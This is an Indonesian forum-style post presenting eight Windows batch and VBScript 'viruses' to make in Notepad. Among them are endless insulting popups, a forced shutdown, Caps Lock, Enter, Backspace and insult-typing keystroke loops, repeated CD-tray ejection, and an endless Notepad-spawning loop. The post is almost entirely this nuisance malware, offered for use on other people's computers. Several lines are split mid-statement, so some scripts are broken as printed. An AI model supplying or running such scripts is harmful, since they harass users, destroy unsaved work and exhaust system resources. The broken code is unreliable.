VIrus bikin lewat Notepad gan :D

MESSAGES YG NONGOL TERUS MENERUS SECARA OTOMATIS
Code:
@ECHO off
:Begin
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN
==> save nama script diatas dg ekstensi *.bat

BIKIN SHUTDOWN + MESSAGES
Code:
@echo off
msg * apaan sih lo
shutdown -s -c "Error! muka mu
standar abis"
==> save nama script diatas dg ekstensi *.bat

MAININ CAPS LOCK BUTTON
Code:
Set wshShell
=wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
==> save nama script diatas dg ekstensi *.vbs

BUKA TUTUP CD/DVD SECARA OTOMATIS
Code:
Set oWMP = CreateObject
("WMPlayer.OCX.7")
Set colCDROMs =
oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
==> save nama script diatas dg ekstensi *.vbs






BIKIN VB SCRIPT NONGOL TERUS MENERUS SECARA OTOMATIS
Code:
Set wshShell =
wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
==> save nama script diatas dg ekstensi *.vbs

MENEKAN TOMBOL BACKSPACE TERUS MENERUS SECARA OTOMATIS
Code:
MsgBox "kembali ke menu
sebelumnya"
Set wshShell
=wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
==> save nama script diatas dg ekstensi *.vbs

OTOMATIS NGETIK "LU JELEK BANGET SIH" DI NOTEPAD ATAU M.WORD
Code:
Set wshShell =
wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "lu jelek
banget sih!!!"
loop
==> save nama script diatas dg ekstensi *.vbs

MEMBUKA NOTEPAD TERUS MENERUS
Code:
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top
==> save nama script diatas dg ekstensi *.BAT